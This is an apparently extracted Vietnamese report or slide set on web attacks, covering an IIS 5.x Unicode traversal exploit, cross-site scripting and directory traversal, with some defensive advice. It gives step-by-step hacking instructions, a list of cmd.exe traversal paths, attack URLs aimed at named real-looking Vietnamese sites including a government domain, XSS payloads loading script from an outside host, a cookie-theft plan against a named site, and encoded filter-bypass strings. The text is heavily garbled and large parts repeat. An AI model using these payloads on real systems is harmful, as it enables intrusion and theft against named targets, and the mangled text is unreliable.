IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
